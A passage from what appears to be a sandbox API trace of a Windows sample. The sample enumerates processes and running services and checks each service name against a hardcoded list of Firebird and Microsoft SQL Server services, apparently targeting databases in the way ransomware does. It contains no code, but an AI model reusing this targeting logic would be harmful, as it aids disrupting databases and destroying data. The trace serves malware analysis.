th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.276] lstrlenW (lpString="spgagentservice.exe") returned 19 [0097.276] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.277] lstrlenW (lpString="utg2.exe") returned 8 [0097.277] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0097.278] lstrlenW (lpString="controlling.exe") returned 15 [0097.278] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0097.279] lstrlenW (lpString="assess climate.exe") returned 18 [0097.279] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0097.284] lstrlenW (lpString="color_infection.exe") returned 19 [0097.284] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0097.285] lstrlenW (lpString="home.exe") returned 8 [0097.285] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0097.285] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0097.286] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.286] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0097.286] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.287] lstrlenW (lpString="svchost.exe") returned 11 [0097.287] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.288] lstrlenW (lpString="taskhostw.exe") returned 13 [0097.288] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0097.289] lstrlenW (lpString="UsoClient.exe") returned 13 [0097.289] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.290] lstrlenW (lpString="taskhostw.exe") returned 13 [0097.290] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0097.290] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0097.291] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0097.291] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0097.291] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0097.292] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0097.292] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.293] lstrlenW (lpString="conhost.exe") returned 11 [0097.293] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.294] lstrlenW (lpString="conhost.exe") returned 11 [0097.294] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.295] lstrlenW (lpString="svchost.exe") returned 11 [0097.295] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0097.296] lstrlenW (lpString="finbbp.exe") returned 10 [0097.296] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.296] lstrlenW (lpString="dllhost.exe") returned 11 [0097.296] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0097.297] lstrlenW (lpString="cmd.exe") returned 7 [0097.297] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.453] lstrlenW (lpString="conhost.exe") returned 11 [0097.453] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0097.454] CloseHandle (hObject=0x340) returned 1 [0097.455] Sleep (dwMilliseconds=0x1f4) [0099.082] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eeb60 [0099.084] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0099.085] GetLastError () returned 0xea [0099.085] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1ce8) returned 0x5a1df8 [0099.085] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a1df8, cbBufSize=0x1ce8, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a1df8, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0099.086] CloseServiceHandle (hSCObject=0x4eeb60) returned 1 [0099.087] lstrlenW (lpString="Appinfo") returned 7 [0099.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0099.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0099.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0099.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0099.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0099.087] lstrlenW (lpString="AppXSvc") returned 7 [0099.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0099.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0099.087] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0099.087] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0099.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0099.087] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0099.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.087] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0099.087] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0099.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0099.087] lstrlenW (lpString="Audiosrv") returned 8 [0099.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0099.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0099.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0099.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0099.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0099.087] lstrlenW (lpString="BFE") returned 3 [0099.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0099.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0099.088] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0099.088] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0099.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0099.088] lstrlenW (lpString="BITS") returned 4 [0099.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0099.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0099.088] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0099.088] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0099.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0099.088] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0099.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0099.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0099.088] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0099.088] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0099.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0099.088] lstrlenW (lpString="CDPSvc") returned 6 [0099.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0099.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0099.088] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0099.088] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0099.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0099.088] lstrlenW (lpString="ClickToRunSvc") returned 13 [0099.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0099.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0099.088] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0099.088] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0099.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0099.088] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0099.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0099.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0099.089] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0099.089] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0099.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0099.089] lstrlenW (lpString="CryptSvc") returned 8 [0099.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0099.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0099.089] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0099.089] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0099.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0099.089] lstrlenW (lpString="DcomLaunch") returned 10 [0099.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0099.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0099.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0099.089] lstrlenW (lpString="DeviceAssociationService") returned 24 [0099.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0099.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0099.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0099.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0099.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0099.089] lstrlenW (lpString="Dhcp") returned 4 [0099.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0099.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0099.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0099.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0099.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0099.089] lstrlenW (lpString="Dnscache") returned 8 [0099.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0099.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0099.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0099.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0099.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0099.089] lstrlenW (lpString="DoSvc") returned 5 [0099.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0099.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0099.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0099.090] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0099.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0099.090] lstrlenW (lpString="DPS") returned 3 [0099.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0099.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0099.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0099.090] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0099.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0099.090] lstrlenW (lpString="DusmSvc") returned 7 [0099.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0099.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0099.090] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0099.090] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0099.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0099.090] lstrlenW (lpString="EventLog") returned 8 [0099.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0099.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0099.090] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0099.090] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0099.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0099.090] lstrlenW (lpString="EventSystem") returned 11 [0099.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0099.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0099.090] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0099.090] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0099.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0099.090] lstrlenW (lpString="FontCache") returned 9 [0099.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0099.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0099.090] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0099.090] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0099.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0099.090] lstrlenW (lpString="gpsvc") returned 5 [0099.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0099.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0099.091] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0099.091] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0099.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0099.091] lstrlenW (lpString="iphlpsvc") returned 8 [0099.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.091] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0099.091] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0099.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0099.091] lstrlenW (lpString="KeyIso") returned 6 [0099.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0099.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0099.091] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0099.091] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0099.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0099.091] lstrlenW (lpString="LanmanServer") returned 12 [0099.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0099.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0099.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0099.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0099.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0099.091] lstrlenW (lpString="LanmanWorkstation") returned 17 [0099.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0099.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0099.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0099.091] lstrlenW (lpString="lfsvc") returned 5 [0099.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0099.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0099.091] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0099.091] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0099.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0099.092] lstrlenW (lpString="lmhosts") returned 7 [0099.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0099.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0099.092] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0099.092] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0099.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0099.092] lstrlenW (lpString="LSM") returned 3 [0099.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0099.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0099.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0099.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0099.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0099.092] lstrlenW (lpString="MapsBroker") returned 10 [0099.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0099.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0099.092] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0099.092] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0099.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0099.092] lstrlenW (lpString="MpsSvc") returned 6 [0099.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0099.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0099.092] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0099.092] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0099.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0099.092] lstrlenW (lpString="NcbService") returned 10 [0099.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0099.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0099.092] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0099.092] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0099.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0099.092] lstrlenW (lpString="netprofm") returned 8 [0099.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0099.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0099.092] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0099.092] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0099.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0099.093] lstrlenW (lpString="NlaSvc") returned 6 [0099.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0099.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0099.093] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0099.093] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0099.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0099.093] lstrlenW (lpString="nsi") returned 3 [0099.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0099.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0099.093] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0099.093] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0099.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0099.093] lstrlenW (lpString="PcaSvc") returned 6 [0099.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0099.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0099.093] lstrcmpiW (lpString1="sqlwriter", 